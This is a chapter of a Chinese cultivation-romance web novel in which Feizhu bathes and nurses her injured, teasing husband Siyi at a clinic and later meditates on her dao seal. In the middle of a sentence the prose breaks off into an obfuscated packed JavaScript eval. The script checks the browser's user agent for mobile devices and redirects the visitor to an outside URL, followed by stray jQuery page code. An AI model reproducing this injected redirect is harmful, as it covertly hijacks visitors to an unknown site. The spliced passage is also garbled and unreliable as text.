“这里其他的菜还有什么不妥的吗?如果有我妻子不能碰的,还希望贾姑娘能告知在下一声,在下不胜感激。”
“其他没问题,夫人可以放心食用。”
“多谢,那娘子要不要尝尝我这酒?这果酒味道不错,度数也不高,娘子可以喝一些。”
斐竹不善饮酒,也不知道在这个幻境中自己的酒量如何,就拒绝了肆意。
肆意见斐竹推拒也没再劝酒,自己一个人喝了起来。
用过餐,斐竹两人被带去了他们二师兄方秋生的房间。
方秋生是个游医,经常外出,所以他的房中也没有太多东西:一张床,一扇屏风,加张桌子配张凳子,就没有其他的摆设了。
许辰逸帮忙将肆意扶到床上后就告退了,而贾悦则带着斐竹在医馆内参观了一番,告知她一些常用东西以及她的闺房的位置,并告诉斐竹,若是肆意有什么变故,可以来找她。
斐竹在盥洗室洗漱后,想到等会儿两个人要共处一室,前一天斐竹没记忆还好,现在斐竹觉得挺不自在的,所以回去的路也走得有些慢。
只是路途就那么短,再怎么慢还是走到了。
肆意见到斐竹空着手回了房间,提醒道:“娘子是不是忘了一件事。”
“何事?”
“娘子答应了会帮我擦身的。”
“这……”
“莫不是娘子要反悔?那为夫因为身子脏,只能也将娘子弄脏了,这样才好躺一张床上。”
虽然肆意总是口花花,但是他说出来的话总会完成,斐竹不知肆意要干出什么事来,就拿了脸盆去接了一些热水回来。
斐竹拿着帕子沾水拧干后,肆意已经将身上的衣服脱尽,只着一件亵裤。
斐竹傻站在那儿,不知道要怎么动手,眼神飘忽,不敢正视肆意,但是刚刚一不小心已经全看到了。
肆意充满男性魄力,健壮的躯体被绷带缠着反而有种捆绑禁忌感,闭上眼都在她眼前晃,真是疯了!
“怎么还这么害羞,都已经上过床,孩子都有了,我哪里你没见过?”肆意抓着斐竹的手将她拉到身边。
斐竹咬牙想,就当是擦杯子了,举起帕子就用力地搓上肆意胸前。
“哎,娘子轻点,这不是搓衣服,娘子不用这么用力。”肆意握住斐竹的手腕说,“我的好娘子就怜惜怜惜我这满是伤的身子,坏了,最后悔的还不是娘子你吗?”
“抱歉,我怕擦不干净,就多用了些力气。”
肆意轻笑道:“没事,不管娘子给的什么,我都欣然接受,只是娘子如果能再轻一点就更好了。”
斐竹放轻动作,继续擦,只是,由于心不在焉,所以反复搓弄着同一个地方。
“娘子,要吃为夫的豆腐也别可着一个地方欺负啊,就算你再喜欢这个地方,它也还有个兄弟呢,你看它都红肿了,要不换一个欺负?”
斐竹定睛一看,脸瞬间染上红晕,原来她刚刚一直搓的那个地方,是肆意左侧的那点,现在成了一个娇艳欲滴的红果子。
“我,我不是故意的。”斐竹将帕子丢回盆中道:“算了,我不擅长伺候人,要不你还是自己来吧?”
“娘子,我错了,不管你怎么欺负我,我都应该受着,而不是抱怨。而且娘子是不是忘了,我惯用的那只手上,还有因为救你而受的伤呢,医师说了伤口不能碰水,我如何自己来?”
肆意伸出被包扎好的右手,上面还有一个蝴蝶结,那是斐竹上午帮他绑的。
“你右手没有换药?”
“这是娘子包扎的,我舍不得让这么可爱的结消失,就告诉医师这只手刚处理过,不用再换药。”
“你,真的是……”
“是什么?”
“疯子。”
“我就当娘子夸赞我了。所以娘子继续吗?”肆意望向斐竹,眉目含笑,就像一把套上了镶满宝石的剑鞘的利剑,锋芒暗藏,只展现出包装的外衣。
斐竹被晃了神,再回神时,已经在给肆意擦背了。不用看到他那张脸,斐竹倒是能静下心来,手中的帕子从肌肉起伏的沟壑中擦拭过,尾指时不时地轻蹭过肆意的肌肤,感受到他那滚烫的温度。
因为帕子也是热的,斐竹并未注意,好一会儿才反应过来,肆意体温不正常了。
斐竹去敲了贾悦的房门,告知她这事。
贾悦并未休息,听了斐竹的话,拿上药箱就去了他们的房中。
肆意已经披上了一件外衣,见到贾悦跟她打了声招呼:“贾医师好。”
贾悦看过后,给肆意几枚药丸给他服下,并告之斐竹,别让肆意再受凉了,早点休息,看明天烧退不退下去。
斐竹道过谢,送过贾悦后回了房。
“让你要擦身,现在发烧了吧。”
“如果娘子动作快一点的话,为夫说不准就不会这样了,不过如此一来,娘子今晚就不用怕着凉了,毕竟有个趁手的火炉给娘子暖手。”
“现在天气已经转暖了,根本就不冷,我才不需要暖炉呢。”
“难道娘子要抛弃为夫,可是这个房间只有一张床,没有睡榻,难不成娘子要让我一个病秧子睡地上?娘子要这么狠心吗?”
“停!我就是随口一说,只要你不动手动脚,我们当然是一起躺床上。”
“看来娘子挺看得起为夫的,就我这情况娘子还觉得为夫有能力做什么,看来为夫得多做些努力。”
“好了,贾姑娘说了让你早点休息,夫君还是听医师的话早点休息吧。”
“娘子这么急着上床,为夫也不能让娘子失望了,就算为夫还有伤,发着烧,也定会伺候好娘子的。”
“调皮话就不用再说了,夫君还是早点安歇吧。”斐竹吹灭了烛火,就着月光来到床边。
“娘子其实不用急着吹灭烛火的,为夫弹灭烛火的能力还是有的。对了,下午时,娘子好像进入了冥想中,怎么没有修炼?”
听了肆意的话,斐竹忽然意识到身边就有一个老师,她将自己的问题讲出:“我不知道如何运用道印。”
“怎会如此?娘子在悟道后不是应该就知道了吗?”
斐竹对这话不解:“怎么就应该知道,也没人告诉我。”
“娘子这么问,我会怀疑娘子是如何悟道成功的。正常来说,悟道后,娘子所悟的道就会告知娘子接下来的路怎么走。那都是前人在这条路刻下的印记。”
“那如果那条道基本上没有几个前人呢?”
“难道娘子开创了新的道途?那就难怪娘子对修
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047404|179010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道一无所知了。不过娘子放心,前面的路,为夫可以带娘子走。”
“那你就快点告诉我。”
“娘子别急,明天再说吧,我好困啊。”轻鼾声响起,肆意说完就睡沉了。
留下斐竹搔头挠耳,被勾起了的好奇心怎么都无法退下,斐竹盘腿坐着,将意识沉入识海,对着道印发呆。
装作沉睡的肆意其实并未睡着,为原本浮躁的斐竹能瞬间进入冥想的天赋而赞叹,就算七煞天那些修炼了百年的秃头们,也无法如此轻易进入冥想中,而斐竹一天内进了两次。
肆意却不知道斐竹只是意识进入了识海,对于斐竹来说,这算是她从原本世界带来的金手指。上一世的经验,也并不全是阻碍。
虽然斐竹对道法规则的运用摸不着头脑,但是对于悟道一途,她也有天然的优势,那就是她很容易就能进入内心世界——识海。
要知道道印就刻在神魂里,对于这个世界的人来说,接触到它就是一个难题。
屈指可数的人能在第一次悟道后就看清道印,斐竹也算是名类前茅了,很多人,直到道印能外放的时候,才看清自己的道印。
看着看着斐竹思绪发散开,为什么道印印在了她的胸口呢?正好是心脏的位置,其他人也是哪里吗?
为什么她的道印是水仙花,这有什么含义吗?
为什么道印能发光?她能跟道印交流吗?
这个世界又为什么和她的世界修炼途径不同?是因为这个世界没有灵力,修仙的人们就开创了这种修道途径吗?
……
各种各样的问题冒出,斐竹现在都无法回答,只能将它们一一记下,留待以后解答。
希望,这一世,她能有好的归途。
小九,你发现我不在肆府了吗?
斐竹在识海待了一晚,到次日清晨才出来。
医师们已经起来了,窗外传来他们走动说话的声音,斐竹摸了摸肆意额头,发现温度已经恢复正常。
斐竹起身穿好衣物,推开窗,天光乍亮,园中的青竹下,许辰逸正在练剑。
斐竹看了一会儿,觉得许辰逸的下盘虚浮,剑招绵软,没有一点剑修的样子,不知道他一个医修怎么练起了剑。不过这是他人的事,斐竹也不想过问。
注意到斐竹的视线,许辰逸对斐竹点头打了个招呼,就继续练剑去了。
“娘子在看什么,看得那么入迷?”肆意走到窗边靠着斐竹问道,视线望向斐竹注视的方向看到了许辰逸。
“没看什么。”斐竹收回视线,离开窗边。
肆意看了会儿,点评道:“就是个门外汉,娘子看他练剑不如看我。虽然我不擅用剑,但是我的剑招还是可以看看的,哪天我舞给娘子看看。”
“不用了,你这伤都不知道什么时候才能好。”
“放心,要不了多久的,我还要带娘子去游山玩水呢,娘子有想去的地方吗?”
“随便,都可以。”
“那我们去芙蓉城吧,听说那里是情侣最喜欢去的地方,有不少佳话都出自那里。”
“我都听夫君。”
“既然如此,那我们就去娘子的故乡吧。”
斐竹闻言一惊,难道上次被摄魂时肆意问出了什么东西?